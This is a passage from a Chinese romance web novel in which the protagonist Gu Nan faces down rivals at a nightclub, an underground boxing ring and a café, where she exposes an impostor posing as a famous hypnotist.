许少左右看看,神情多些紧张,扒拉下燕姐的衣角,低唤:“燕姐?”
“呵。”
听到熟悉的不屑声,许少放下心来,得意洋洋看向顾楠,眸中挑衅之余是胜券在握。
顾楠耸肩,继续品着自己的鸡尾酒,且还有闲情逸致吩咐调酒师:“再来一杯。”
许少拱火:“燕姐你看,她根本没把您放在眼里。”
“能让她放在眼里的人还没出生。”燕姐小声自言自语。
“啊?”许少脸上表情僵住,燕姐的声音不大,但距离太近,场子太安静,他听得一清二楚。
不只是他,在场的所有人都听得明明白白,看向顾楠的目光不由多了探究。
顾楠打破诡异气氛:“来一杯?”
燕姐在她身边落座:“行。”
满场客人:?
所有服务生:?
许少:?
在一众不理解的视线中,燕姐凑着顾楠的酒杯尝了一口,摇头评价:“酸了。”
“唔,”顾楠抿了口,“加了点柠檬汁,我觉得还好。”
保安队长:就这么聊起来了?
其他服务生:不报仇了?许少失宠了?她们以后不用受气了?
众人:???
见燕姐还要再喝,顾楠抬手拿过杯子,“想喝自己调去。”
“宝贝。”
“停。”顾楠促狭一笑,往许少方向轻抬下巴:“你的宝贝在地上趴着呢。”
“咳咳。”
燕姐瞥了眼地上的男人,回头扫过屋内四面八方探究的视线,朗声:“抱歉打扰大家的兴致,今晚大家所有的消费全部免单,我再送各位三次免单机会。”
她顺手勾过一瓶酒,重力摇晃瓶身,
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随即马上打开瓶盖,疯涨的泡沫瞬间如同四射的火花,“嘭”的一声在四周绽放。
她豪爽一干,示意调大音乐,关掉灯光,“大家尽兴。”
瞬间,夜色又恢复了“人间天堂”。
只是节奏感强烈的鼓点声中,多了几条窥探的视线。
许少咬牙切齿盯着顾楠,胸口剧烈起伏,似想把顾楠盯出一个洞来。
顾楠勾了下嘴角,大方与他对视,对燕姐道:“你的小男朋友不太服气啊。”
燕姐顺着她的视线回望,斥道:“还不过来道歉,地上趴着像什么样子?”
许少紧咬后槽牙,压着火气,不服气起身,低眉顺眼站在燕姐面前,声音低弱蝇虫:“对不起。”
听起来不仅不像道歉,反而更像挑衅。
顾楠不在意笑笑,居高临下看着他:“记住,以后不要问我有没有订台,在我这里,没这个规矩。”
许少低着头不吭气,燕姐一巴掌抽上去,“给你说话没听到?”
许少眼圈红红的:“燕姐。”
“别喊我,”燕姐咕哝,“丢人。”
摆手把人赶走,再支开调酒师,假意责备:“你过来也不说一声,还给我闹一场。”
“可不是我想闹,你也知道,我这人脾气差,夜色要不是你的场子,我早就开砸了。”
“你不能发消息告诉我一声?”
顾楠随手滑了下手机,“联系人太多,还要找,麻烦。”
燕姐气结:“欸你……”
顾楠话锋一转,叹道:“不过你现在的眼光越来越差了。”
燕姐眼神闪了闪,没接话,换了话题:“谁惹你生气,来我这找晦气?”
“帮个忙。”顾楠摇着酒杯,不紧不慢道:“三天后陪我去见个人。”
“以什么身份?”
“J。”
燕姐愣了下:“那个催眠师?”
“嗯。”
燕姐“嘶”了一声,为难道:“传说J很神秘,我们只知道她是个催眠师,长相性格习惯一概不知,况且我们也不懂催眠,容易露怯。”
顾楠盯着酒杯液体,面色骄矜:“这你不用管,我有办法让他们相信。”
“别的好说,交谈习惯之类,你去哪打听?”
顾楠想了下:“忘记我是干什么的了?”
“但J不是很神秘吗?网上能有资料?”
顾楠勾了勾嘴角,没答话。
四周打量的目光越来越多,顾楠第二杯鸡尾酒喝完,便起身离开。
走到门口,被人不着痕迹撞了下,酒精洒湿半截衣袖。
男人面色尴尬,低声说着抱歉。
顾楠打断他,抱臂玩味一笑:“搭讪方式该更新了。”
男人拿着手机,脸色微红,低头离开。
才出门,手机收到消息,她眯着眼睛低头。
纪元宇:【你不用出国了。】
顾楠腹诽:我什么时候打算出国了。
纪元宇:【听说万家和陆家关系不好,我联系上了万家,他们同意帮忙,刚好万家小少爷在浔城,他答应可以和我吃个便饭,你看你什么时候方便,我们一块过去。】
看着最新一条消息,顾楠有种伸不进屏幕掐死纪元宇的无力感。
【你现在最重要的事情是给你的员工普及反诈知识。】
消息刚发出去,果然收到一个来自陌生号码的嘲笑。
【楠宝,你竟然有求我的时候!】
8. 打拳
黑夜笼罩大地,白色跑车从浔城市中心往西,汽车轰鸣声超过晚间最高分贝。
驾驶员听不到居民楼上咒骂,冷着脸将油门踩到最大。
半小时后,骤然刹车惊起尘土飞扬。
汽车大灯熄灭,周遭陷入死寂。
车门打开,顾楠身穿皮夹克,手拿墨镜,随意甩下外套搭在肩头。
她斜倚车身,单手撑着车顶,用小指勾了下镜片,远远望向半人高野草深处。
夜色太黑,被野草包裹的废弃工厂只余轮廓,45度倾斜翻涌着阴森,工厂被团团黑色笼罩,仿佛凝聚着一张张狰狞的脸庞。
月华素练,她凝目站了会,好像听清鬼魅泣血尖叫,空气中每一个流动的分子都在诉说着窒息。
冷笑一声,迈步踏入这处白天都无人敢近前的荒野。
工厂下面,有人称为“天堂”,有人比作“地府”。
而她,所在“人间”。
推开生锈的大门,正对面“X”标志加粗加大,暗色炫彩的镭射灯光伴着人声鼎沸直冲耳膜。
“大!大!大!”
“开!”
“好!”
“我发啦!”一个瘦弱的光头抱着盒子开心的满地转圈。
无数视线集结在他的身上,羡慕、嫉妒、还有无尽贪婪。
“楠姐。”
顾楠收回视线,点头打过招呼。
目不斜视走到她专属的位置——擂台最佳观赏单间,或者说,整个地下拳击场唯一密闭、不带任何电子设备的房间。
还没坐下,身穿拳击服的男人鬼鬼祟祟从门缝挤进来,大马金刀往桌上一坐,一双桃花眼满是促狭,他拉长音调:“楠宝,说说,准备怎么求我帮忙。”
顾楠眼神欠奉,扒开百叶窗,眯着眼往下瞧,观众席一如既往地热闹,灯光昏暗的角落坐着几位新人。
其中一人,脸戴银色面具,面具上云纹逼真,正在假寐。
顾楠若有所思:“陆御时知道他今晚的对手是你吗?”
万易顺着她的视线往下瞧,抬手拉下百叶窗,一脸晦气的从桌上弹起来,声音提高八个度:“让他知道今晚的对手是我,他还能来?”
空气凝固几秒,顾楠面色复杂:“我有时候很不理解你的自信从哪来?”
万易夸张挑眉:“就从你求我那里来的。”
“我求你?”顾楠舌尖扫过下牙床,似笑非笑抬眼:“知道我一般怎么求人么。”
万易摇头,对危险的高级感知力让他抱臂后退两步。
顾楠笑着勾勾手指,等人屁颠屁颠过来,她猛然起身,抬手反拧住万易胳膊,提膝抵住万易膝窝,逼得万易不得不单膝跪在地板上。
“嘶。”
顾楠松手,拍打手心并不存在的灰尘,眼神睥睨看着万易爱惜地抚摸上衣。
“知道了吗。”
“你!”万易一怒之下怒了一下,瞪她一眼,没好气道:“不是,最近谁惹你了?就知道拿我出气。”
顾楠没搭话,慢吞吞坐回座椅,从抽屉拿出烟盒,随手抽出一根,叼在嘴边,正要拿打火机,被万易抢先一步。
“控制下,医生说你不适合吸烟。”
顾楠懒得起身,一脚搭在桌边,一脚搭在另一条腿上,微微弯曲。
她后背靠在椅背,随手从抽屉翻出另一支打火机,点燃香烟,吐出一口烟圈,盯着天花板正色:“没有人适合吸烟。”
万易把打火机丢回桌上,恨铁不成钢:“你就抽吧。”
还是没忍住问出口:“纪元宇说你得罪陆御时,你怎么会得罪他?”
顾楠平移过视线,万易立马贱兮兮靠过来,用胳膊肘撞她肩膀:“怎么得罪的?跟我说说。”
“他说如果我不同意和你绝交,他就找人弄我。我没同意。”顾楠平静说。
万易:?
“太过分了!你放心,我今晚打得他满地找牙。”
顾楠扯了扯嘴角,要笑不笑的目送万易火急火燎出门。
果然,比起纪元宇,她还是喜欢和万易相处。
毕竟,她的胡言乱语只有万易深信不疑。
有时候她也很难理解,那些显而易见的胡说八道,到底是怎么说服万易的。
时间久了,她甚至会对这位26岁的成年男性产生欺骗儿童的罪孽感。
“嘭!”
这位“儿童”甩上门,冲去楼下,大约要大干一场。
屋门合上许久,顾楠摁灭烟蒂,拿过桌上电话拨号出去。
很快,一位身穿拳击服的男士敲门进来,五大三粗的块头往顾楠面前一站,霎时矮三分气势。
“楠姐。”
“谁请来的?”顾楠的视线始终落在楼下银色面具男身上。
男人绕过屏风推开更衣室的门。
“陆少吗?按您的意思,我以X拳击场的名义给北城拳击馆发了挑战函。”
楼下面具男很快出来,换上了清凉的拳击服,结实强劲的上身肌理线条分明,肱二头肌不会太过庞大,却不失力量感,胸肌一半藏在衣服下,反而比裸露更多欲色。
男人似有所感,抬眸朝她所在方向仰望。
顾楠玩味一笑,自言自语:“挑战?确定不是挑衅。”
“啊?”
顾楠懒洋洋往后一靠,指尖无意识轻叩桌面:“今晚的规则是什么?”
“每回合十分钟,中间休息两分钟,整场比赛十个回合,其余规则不变。”
顾楠嘴角笑容渐渐僵硬,一脸复杂偏头,问:“万易改的?”
“是。”
“每回合十分钟,打十个回合,他是准备靠熬鹰熬死陆御时吗?”
得不到回答,顾楠挥手让人离开,索性将百叶窗开到最大,光明正大欣赏楼下面具男人的肌肉线条。
得出一个结论——看起来很好的不一定摸起来很爽,但手感不错的一定能大饱眼福。
男人再次抬眼,四目相对,顾楠低叹。
“伤风败俗。”
她拿过手机,从黑名单拉出电话,拨出后秒接:“10场,分我一场。”
对面沉默许久:“你有病?”
三分钟后,房间门被敲得震天响。
顾楠揉了揉耳朵,打开门,面无表情看着门外的万易。
万易全身气势霎时丢了大半,抱着拳击手套的模样看起来莫名乖巧:“我和陆御时都只能五五开,你打他?”
顾楠点头,示意他看楼下:“他看起来很想和我打,你知道的,帅哥的愿望我都会尽量满足。”
万易垂首思考半晌,抬头:“我不帅吗?”
顾楠莞尔:“你的愿望?”
“完完整整打完10场。”
……
空气凝固半瞬,顾楠看他一眼,从桌上拿过手机,手指飞快操作几下:“发你了。”
万易一头雾水:“什么?”
他低头看手机。
楠宝:【《阿拉丁神灯》高清电影完整版在线观看。】
“记得许愿。”顾楠温和笑笑,“哦对了,比赛还有半小时开始,要开倍速哦,不然等不到神灯出来。”
说完,瞥了眼嘴角翕动的万易,猜测应该是被她感动到哽咽,难以开口言谢,她心胸宽广,大度摆手:“不用谢。”
低声自言自语:“原来这就是做好事的感觉,日行一善!”
-
擂台赛每晚10点整开始,场上已经有人在热身。
台下观众吵得热火朝天。
北城拳击馆声名在外,万家小少爷同样少有败绩。
赌他们输赢的两拨人气血上头,被身边人劝住才没动手。
顾楠换好衣服,俯视楼下,嘴角玩味加深。
正要出门,手机收到一条短信。
她脸上表情淡去,拿出电脑,十指敲打键盘,蓝色光芒反射到她的瞳孔,少有的严肃表情看起来多几分冷意。
摁下回车,光芒散去,她打字回消息。
【明天我去接你。】
楼下,人声鼎沸。
“好!”
“再来一场!”
“万少加油!”
“北城拳击馆必胜!”
“万少绝地反击!”
顾楠瞄了眼牌子。
5:3。
她眉尖略蹙,看向那位没露脸的男人。
意料之外的结果。
转身下楼,擂台上两人正在中场休息,一个站在灯光下,喝口水都浑身散发雄性荷尔蒙气息。
另一个双臂搭在围绳上,喘着粗气,像……
顾楠从服务生托盘上拿过水,绕到万易身后递过去。
万易抓起就喝,一杯见底,将空瓶随手捏扁甩到擂台下。
“滚碌碌”的声音被人声嘈杂掩盖。
“剩下两场,我来。”
万易瞪着对面的男人:
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“不行,我干死他!”
“5:3,神灯没准备帮你。”
万易活动腕骨,咬牙切齿:“再赢两局,5:5。最后一场双倍,平手。他练了一辈子,我半路出家,我完胜!”
顾楠:……
“很好,想得开也是一种胜利。”
万易:?
休息时间过半,顾楠不想和他拉扯,随口胡说:“我给你下药了,你不下来容易被他干。”
万易眼睛瞪得老大,摘下一只拳套,难以置信地按了按肚子,惊呼:“你想打就直说啊,给我下药干什么?”
随后凑到她耳边小声:“药效还有多久开始发挥?不然我这场耗他体力,等下场他累了你再上。”
对视半秒,顾楠低头、闭眼、捂住胸口,有一瞬间感觉良心受到极大的煎熬。然后小声,由衷劝:“你现在像被少爷遛累的狗,再打一场你容易被他遛没。”
“欸你…”
顾楠拉住万易,继续说:“我帮你承担两场,不用谢。”
嗯,日行两善。
她目光怜悯注视万易,在万易准备开口拒绝前稍微用力,迫使万易顺着她的力道跳下台。
没等万易回过神,她扶住围绳腰腹发力,登上擂台。
对面男人:“我不和女人打。”
顾楠善解人意地点头,一边拍打手上灰尘,漫不经心道:“两个选择,认输或者和我打。”
她手指台下呆若木鸡的万易:“你如果认输,他应该很乐意。”
对面男人没有答话,台下观众先不乐意了,质疑声此起彼伏。
“你哪位啊?***”
“**,滚下去!”
“滚!别打扰老子兴致,*”
“下去!我们要看万少的反击赛,找一**上来干什么。”
“赛点了为什么要换人,是不是准备打假赛。”
“X拳击场太不要脸了,为了讨好北城拳击馆,连这种招数都想得出来。”
“*******”
……
顾楠好整以暇看向台下观众,任由各种污秽字眼入耳,待声音最高涨时,她食指比在唇间,示意大家安静。
随即眼神倨傲,嘴角勾了个神秘的微笑。
一时唬住众人,骂娘声略低下去。
比赛开始。
顾楠先比个绅士手,对面男人一动不动,对于她冲过去的拳头只是闪身躲开,继续等她进攻。
两拳之后,她停了下,嘴巴一抿,双眼含笑。
冲出去的拳头不加任何力道,软趴趴直冲男人面门而去,却在他躲闪时,身体不由自主栽向男人。
男人大约没料到会有人在拳击赛上绊倒,本能拉住她。
无人注意到的角落,顾楠憋笑,大胆放肆的在他腰腹抓了几把,用只有两个人听到的声音说:“看着香,摸起来更香呢。”
台下,一个女生尖叫:“女流氓,把手撒开!”
要搁平时,顾楠一定挑眉冲人嘚瑟一番,但眼下无暇分心,但凡她力道松懈半分,都能被男人甩下台。
躲过几招凌厉拳势,她明媚大笑。
“这才过瘾嘛。”
就在众人以为又要看到一场绝世拳赛时,顾楠故技重施,依旧近身往男人身上靠,手指有意无意游走在他的腰腹,勾住他的拳击服。
在男人精力集中在前身时,顺手掀了他的头盔。
台下观众比男人先发火。
“你**到底会不会玩。”
“都来看拳击的,谁想看狗男女在台上发/情,有没有负责人出来管一管!”
裁判叫停,顾楠瞥了眼男人耳后,肉眼可见意兴索然。
随口打发台下骂人的大爷:“我会玩起来怕你遭不住。”
万易从横绳钻进来,气愤:“打拳呢还是打情骂俏?”
顾楠动作一顿,故作深沉:“这个问题问得很好。”
她回头看了眼男人,惋惜:“但当事人似乎不愿意回答。”
万易:“你下来,我打最后一场。”
顾楠极其听话,乖顺的像变了个人似得。
身后,男人嗓音冷恹:“六拳,两拳只用三成力道,四拳只用五成力道。跟我打,我可以让你尽兴。”
万易嘟囔:“神神叨叨说什么呢?”
顾楠眼神一凛,注意到万易的视线,她垂睫掩了下情绪,回头,眸色无辜,声音不小:“我给你摸/爽了?”
9. 挑事
午夜时分,整座城市被黑暗笼罩,月光沉寂。
X拳击场灯火通明,气氛高涨。
拳场负责人一路小跑过来,示意顾楠一起去办公室,美其名曰保护拳手。
尽管顾楠觉得并不需要。
她“恋恋不舍”凝视男人,男人面无表情收回视线。
眉心一跳,她戏谑勾唇,跟随负责人离开。
身后怒骂声不绝,负责人使眼色示意工作人员安抚,不见成效。
顾楠忽想到什么,停下脚步。
还没张口,负责人面色一紧:“楠姐。”
话音未落,一众保安面容严肃,紧盯过视线。
空气骤然凝固。
“额。”
一声低吟打破紧张气氛。
顾楠无语撇嘴,抬手拍拍负责人的肩膀,递了个安心的眼神,而后回头面向台上男人,遗憾耸肩。
“我发誓,我很少不给帅哥面子,但……”她环顾四周,大言不惭,“观众太热情,我也没办法。”
观众席立刻有人回怼:“你要脸吗!谁对你热情?”
万易默默小声:“她没要过。”
顾楠不紧不慢转回目光,笑嘻嘻否决:“我们是正规拳击场所,不准贩卖人体器官,谢谢配合。”她面朝门口扬声,“保安,注意一下,有问题及时报警。”
观众席有位身材魁梧的女士站出来,放言:“敢不敢打一场!”
“打你?”顾楠上下扫她一眼,低头慢条斯理整理袖口,“不好意思,我们这里不能满足客人的特殊癖好。”
“你!”
“当然。”话锋一转,她抬眸看向台上男人,缓缓比了个飞吻,嘴角勾着似有若无的笑,“对于某些颜值比较高的帅哥,我还是很乐意服务的,要不要留个联系方式?”
女人鄙夷地剜她一眼,冷哼:“不敢打就直说,找那么多借口。人家帅哥绅士风度,不和你一般见识,真当自己多大能耐呢?”
她声音低下去,刚好能让全场听清的音量,“要联系方式?凭什么给你,凭你喜欢占便宜揩油吗?”
“你怎么知道他不喜欢被我揩油呢。”顾楠微笑注视男人,看他反应。
负责人看了眼台上自始至终面色平淡的男人,凑过来小声委婉说:“他不喜欢,他看起来不想理你。”
“嘶。”顾楠拍开他,了然道,“你懂什么?他一定是家教好,他妈妈教过他男孩子要矜持。”
一片哗然。
女人咬牙大骂:“怎么会有你这么嘴贱又脸皮厚的女人。”
顾楠不解:“我揩他油,又不是占你便宜,你着什么急,想被我揩油?”她“啧啧”摇头,“不好意思啊,我只对帅哥美女感兴趣。”
“有能耐别打嘴炮,不敢和我打就认怂,不然以后我见你一次打你一次。”
顾楠盯了她一会,平移过视线,和负责人对视,佯装不知所措:“怎么办?你的客人迫不及待想被虐。”
观众席有人奚笑出声:“浔城拳击赛三届蝉联冠军,到底谁在找虐?”
“识相点就道个歉,她可不会像台上那位男士一样懂得怜香惜玉。”
女人活动手腕、脚腕,直勾勾盯着她。
眸中不可一世很熟悉,顾楠抿了下嘴,嗯,像几年前的她。
粲然一笑:“我今天心情好,可以帮你戒拳击瘾。”
真好,又要日行一善了。
她揉着拳头,没等有下一步动作,胳膊忽被人拉住,回头,负责人眼巴巴看着她。
缓了半秒,她摊手,口吻无奈:“好吧,我认输。”
转身要走,眼尾划过一抹扫兴。
女人的声音比她的脚步声更快传入耳中。
“以后给我夹着尾巴做人!”
她停下脚步,回头。
满场纷纷附和,面露轻蔑,对着她指指点点,口中低声交谈着什么。
华灯照亮他们的嘴脸,场面堪比菜市场。
负责人觑她脸色,招呼工作人员。
她静默抬眸,注视台下唾沫横飞。
“啪。”
一声嘹亮的响指,声音渐渐低下去。
她揉揉耳朵,问身旁负责人:“她是在教.训我吗?”
负责人眼神坚定,严肃保证:“不是,她在口出狂言,我们走吧。”
顾楠鼓着嘴摇头,一本正经:“我觉得她在教.训我。”
负责人拉了拉她的衣袖,示意她耳朵靠过来,小声:“她还没走出儿童的自我中心阶段,你别和她一般见识,我们走。”
“就是教.训你怎么样?”女人眯了下眼睛,整张脸写满了自信与傲气。
顾楠平静问负责人:“你能忍吗?”
负责人疯狂点头:“俗话说,狗咬你一口,你还能咬狗一口吗?”
顾楠推开负责人的手,大步走向女人方向,声音清朗:“为什么要咬,你没手吗?”
负责人怔在原地,低头咬唇想了想,有道理。
心道:这句俗话到底谁说的,一点都不严谨。
“教.训她!”
人群中一嗓子将负责人拉回现实,他抬头,只见女人一拳冲着顾楠脸上砸去,他一拍脑门,暗道不好。
下一秒。
“嘭!”
女人径直越过顾楠撞到石柱上。
……
顾楠慢悠悠转身,居高临下看着她,咂舌:“你是不是散光挺严重?”
女人气愤:“明明是你躲开。”
话落,哄堂大笑。
顾楠:“我们之间一定有一个人智商有问题,那个人不是我。”
“找死!”
女人再次牟足劲冲上来,这次没再轻敌,而是边出拳边观察她脚下动作。
顾楠邪魅一笑,挥臂挡开她的拳头,顺便一脚将人踹开。
因两人在台下打斗,场地受限,女人倒地顺带撞倒几套桌凳,水壶瓷器噼里啪啦碎了满地。
嘈杂声响过后,场地鸦雀无声。
万易狗腿地凑过来,纳闷:“你什么时候力气这么大了?”
顾楠整理衣角,随口:“哦,她可能刚才撞到脑袋了,没劲。”
闻言,万易和拳击场内所有观众心里的想法一样——浔城拳击冠军的水份这么大吗?
如果他去参赛,那还不是手到擒来?
顾楠瞥见他脸上跃跃欲试,问:“干嘛?”
话没说完,就见人一溜烟跑向门口,顾楠高喊:“欸,你去哪?”
“比赛。”
声音落下,人已经没影了。
顾楠单手摩挲下巴,对捂着胸口的负责人感慨说:“看来这位也深陷儿童自我中心阶段。”
负责人白她一眼,不顾形象地蹲下,心疼地抚摸大理石桌板,磨着后槽牙说:“姑奶奶你快走吧。”
顾楠没理他,远远望向空荡荡的擂台,叹息:“遗憾。”
“你在遗憾什么?”负责人压着嗓子声音尖锐,面目狰狞,带着点歇斯底里,“我刚买的大理石桌,巴西运来的,还没摆一周呢!”
“没要到联系方式。”
负责人眼一闭,手一指,“回办公室。”
顾楠转身就走:“不了,我回家。”
负责人看着她的背影,再看看大理石残渣,满头黑线。
直到第二天一大早,打开手机,顾楠发来一条起运地巴西的物流信息,他脸上愁容终于全部消退。
-
后海咖啡厅,顾楠发完截图放下手机,看向面前絮絮叨叨的燕姐,一个头两个大。
应付完一个,还有一个。
她打断燕姐:“你就把心给我咽回肚子里,我有办法,她们发现不了你是
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假的。”
“据说J是个挺高冷的女人,我高冷吗?”燕姐紧了紧口罩金属条,眼神四处观察,又抬手摁摁墨镜,恨不得把墨镜摁进皮肉。
顾楠失语:“你低热,像倒卖黄.片的犯罪嫌疑人。”
“你大爷!”
“来了。”
燕姐偏过头去,正襟危坐。
顾楠盯着燕姐,用仅剩的20秒犹豫要不要把人赶走。
香水味盈鼻,她叹了口气,来不及了。
抬眸,苏迪目不斜视拉开椅子,坐在她对面。
整个人从里向外散发着自信、高傲、冷漠。
顾楠心里默默加了个词:脑残。
“你请来的J呢?”
“马上过来。”苏迪品着咖啡,傲娇抬了下眼皮:“这位是?”
顾楠:“J。”
苏迪:?
“就说让你下载反诈APP,你不听。”
静了好大一会。
苏迪重重放下咖啡,哼道:“我答应你和你比谁先找到J,是给你一个公平竞争的机会,不是让你弄虚作假耽误我时间的。你如果不愿意珍惜这次机会,我可以直接让师哥给纪总施压,副总裁的位置还是我的。”
顾楠抱着咖啡杯老神在在,太阳光辉洒在她的侧脸,让她看上去多几分慵懒。
她抬手挡了下太阳,懒洋洋说:“我的目的就简单多了。”
苏迪冷声:“什么?”
“给新时报员工宣传反诈知识。”
“死鸭子嘴硬。”苏迪嘟囔完,别过头去不看她,没忍住偷偷打量几眼戴墨镜的女人。
时间慢慢溜走。
左右等不来人。
顾楠指骨无意识轻敲桌面,长睫深垂,思考许久,开口半是试探:“陆家想进浔城?”
苏迪傲慢扭头:“害怕了?呵,你别想求我帮你。”
顾楠和燕姐对视一眼,哑然失笑:“能不能拜托你的智商屈就一下人类?”
眼见苏迪眼中怒火又要蒸腾,下一秒,门口女人清冷的嗓音浇灭她眸中火气。
“苏迪。”
三个人一同移过视线。
两个人脸上坚定,一个人呆若木鸡。
顾楠盯着女人身后的男人,揉了下眼睛。
起身,又揉了下眼睛。
燕姐见她动作,不由泄气,用只能两个人听到的声音说:“什么意思,你的办法跑路了?”
“闭嘴。”
顾楠咽了口唾沫,瞥了眼苏迪脸上得意洋洋,一时不知道谁更惨。
燕姐又扒拉过来:“你恼羞成怒?”
顾楠没好气道:“怒个脑袋。”
谁能想到这个脑残把陆御时喊来了。
谁又能想到陆御时进门直奔她而来。
她看向苏迪,摊手,她也没想到。
陆御时在她身前三步的距离停下。
开口前,她按住燕姐躁动的手,抬眸,眼睛里只有玩味:“怎么?想泡我?”
眼尾余光瞥见苏迪似乎无声说了句什么,看口型大概率在骂她。
“觉得你很熟悉。”
顾楠笑了声:“搭讪美女这个办法通常不太管用。”
她故意走近一步:“不过,谁让你长得帅呢,我勉强可以答应给你留个联系方式。”
陆御时恹漠看她一眼,没有拿手机的打算。
她再靠近一步,近乎可以感受到陆御时的呼吸,小声:“错过这次,下次可不知道什么时候能遇到我了。”
苏迪“腾”的一下站起来:“你不要勾.引陆师哥。”
顾楠恍然,睁大眼睛装作吃惊的样子抬手捂住嘴巴,点头:“原来这就是勾.引。”
她注视陆御时,又往前迈了小半步,故意绊倒扑进他怀里,食指顺着他的唇往下滑,低吟:“那这是什么?”
10. 戳穿
“这是投怀送抱。”
自称是“J”的女人身穿棒球服,头戴棒球帽,一次性口罩挡住她大半张脸,她语气不耐烦:“倒贴的破.鞋。”
“哐啷。”
燕姐重拍桌子站起来。
咖啡被震出些许,浓稠褐色泡沫顺着杯壁滑到桌面,留下一圈明显的咖啡渍。
太阳给滑落桌面的咖啡液染上金边,顾楠拦住准备发火的燕姐,晃悠悠踱到桌前,抽了几张纸巾耐心擦拭杯壁,眼皮轻掀。
“J”抱臂冷眼看她:“有事?”
顾楠耸肩,无视身上四道视线,继续擦拭咖啡杯。
在“J”再次开口前,她微微俯身,另抽出两张纸巾,漫不经心抻了抻,垫在掌心与杯壁之间。
低头、端咖啡、扬手、泼。
一气呵成。
“啊!”
温热液体砸到“J”脸上,顺着一次性口罩往下流,大半渗入胸前。
“J”顾不上开口,忙脱下外套,抬手碰到耳后,犹豫一下,没摘口罩。
顾楠放下咖啡杯,懒散抱臂,嘴角勾着饶有趣味的笑。
冒充她身份之前也不知道做做功课。
她有事都是直接动手,哪有功夫逼逼赖赖。
抢她冤大头就算了,坏她名声,她忍不了。
“你发什么疯!”苏迪边为“J”整理衣服,抽空回头斥道。
顾楠乖巧:“请她喝咖啡。”
“啪嗒。”
湿透的纸巾揉成团,一道弧线划过,精准落入垃圾桶。
顾楠视线随落下的抛物线定格。
距离垃圾桶半米的地方,陆御时单手插兜,笔挺西装衬他身形挺拔俊逸。
顾楠往桌边靠了靠,全身大半力量压在桌上,她无意识抬手,食指摩挲唇峰。
擂台赛她自认声音不小,在全场人面前让陆御时难堪,陆御时没事人一般毫无反应。
她想了下,如果有人敢对她说那种话,那个人大概率很难有机会站着和她说话。
余光观察半晌,得出结论。
这个男人要么不正常。
要么还是不正常。
她指尖叩在桌边轻点,脊背后仰眸子眯起。
心内念叨,黑发如墨、剑眉星目、挺鼻薄唇、宽肩窄腰、穿衣显瘦、脱衣有肉……
正不正常有什么关系,反正她不吃亏。
正出神,肩头忽被人靠住,她偏头,燕姐攀着她的胳膊嘀咕:“都什么时候了,就别心猿意马了,快擦擦口水,人家J都快被你气成l了。”
她顺着燕姐视线抬眸,苏迪脱下自己的外套,照顾“J”穿好,半蹲身体将“J”口罩上咖啡液用纸巾稀释干净。
尽管如此,纯黑口罩还是留下明显湿痕。
“J”与她目视,目光阴沉:“我是J,你敢这样对我?”
顾楠漫不经心开口:“你就是ABC,今天也得给我道歉。”
苏迪气不过,猛地站起身来:“你一边和纪总暧昧,一边勾引我师哥,J说你是……”她梗了一下,改口,“J没有说错,为什么道歉。”
“嘶。”
顾楠立马将视线移到陆御时脸上,回怼苏迪的话,全程看着陆御时说完。
“怎么张口就来,正经吃饭、正经聊天,哪里暧昧?你不懂别乱说。”
怕陆御时多心似得,她意欲走上前去。
被燕姐从身后拉住,嘀咕:“你收敛点,别整得跟□□焚身一样。”
顾楠难以理解偏头,然后再次转向陆御时,正色问:“我看起来很饥渴?”
燕姐严肃:“嗯。”
“欸~”
一声长叹随风远去。
热辣辣的太阳移动半寸,几缕光线穿透遮阳棚,打在顾楠的侧脸上,直射的阳光晃得她眯了眯眼睛,斜撑桌面偏头躲过日头照耀。
弓起的脊背如同小猫打盹般慵懒闲适。
也同猫儿般,不开心便高冷地背转身去,不理人。
燕姐以为自己打击到她,正要开口找补几句,就听她大言不惭。
“我如饥似渴的时候你不好好把握,以后怕不是要悔得肠子都青了。”
顾楠嘴角噙着笑意,隔着烈日与陆御时遥遥对望,目光于半空交错。
陆御时一身西装打扮,身姿颀长,全身上下有里而外散发着淡漠,光圈在他侧脸跳跃,衬他眸色漆黑。
他站在远处,一言不发。
顾楠心内暗叹:“真帅。”
随后含笑收回视线,余光瞥见燕姐默默往旁边移动一个位置,特意和她拉开距离。
?
一个对视。
燕姐目光复杂:“你没发现吗?他根本不想理你。”
“J”讥讽:“连你朋友都看出来了。”
苏迪则满脸紧张走向陆御时,在距离他较远的位置停下,低头:“陆师哥,对不起,我不知道她会过来闹,我没想浪费你的时间。
她抬起手,没等靠近,就被陆御时一个眼神止住脚步。
“师哥,你相信我,“J”很厉害的,她一定可以治好你的失眠症。”
顾楠拿咖啡的手顿了下,无语撇嘴,她都没把握的事,苏迪就这么水灵灵的替她保证上了。
抬眸,陆御时面无表情注视她。
她很快捂住嘴,暗忖,又没控制住嘲讽音量?
但见其余众人面色无恙。
“我什么时候让你找J了?”陆御时目光幽冷深沉,说话声音蕴着寒意,薄唇颜色极淡,显他不近人情。
苏迪垂头不言。
阳光将她的影子缩在脚下,团成一团,看起来委屈可怜。
燕姐“嘿”了一声,打抱不平:“人家是为了给你治疗失眠,你不领情就别来,还怪罪上了?”
陆御时骤然移过视线,目光森冷黑眸凌厉,没说一句话,只是单纯瞥过一眼,燕姐说话的声音梗了下,而后越来越低,渐渐消失,她心里犯嘀咕,胳膊肘碰碰顾楠,窃声问:“这人是谁?”
无人为她解惑。
“J”瞥过一眼,起身踢开脚边掉落的衣服,头颅高昂,看向苏迪的眼神颇有几分自命不凡。
“等你安排好再来找我。你知道我的规矩,定金不退。”
苏迪忙回头保证:“实在抱歉耽误您的时间,还弄脏您的衣服,我都会负责的。”
顾楠看傻子的眼神盯着苏迪。
她嘴唇抿成一条直线,满脸可惜。
这么好的冤大头她怎么就没把握住。
没忍住开口:“蠢货。”
苏迪:“你凭什么骂人!”
顾楠眼神欠奉,歪头看陆御时,打了个响指:“hi,被我调戏的那位,现在有两个J,你猜哪个是真的。”
一语落下,半晌安静。
微风搅弄咖啡,留下浅淡痕迹。
苏迪觑了眼陆御时神色:“那还用说?”
顾楠嗤了声,单腿站累,调整姿势。
惹苏迪一脸紧张,迈步挡在“J”身前,警惕喊:“你干什么?”
?
顾楠咬了下嘴唇,一言难尽地低头打量自己站累的左腿,表情嫌弃:“不行你抽时间去测测智商吧。”
“神经病。”
……
顾楠看了眼苏迪,又看一眼,放弃和她交流,转头打量“J”。
四目相对,“J”不屑轻嗤,脚踩座椅,单臂撑在椅背上,目光挑衅。
被咖啡染透的棒球服丢在她脚边,衣服上牌子不明
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显,顾楠认出价值不菲。
她轻蔑一笑,拍拍手说:“想知道谁真谁假不难。病人在这,各自给出催眠方案,谁的管用,谁就是真。你觉得呢?”
不等“J”开口,苏迪抢着拒绝。
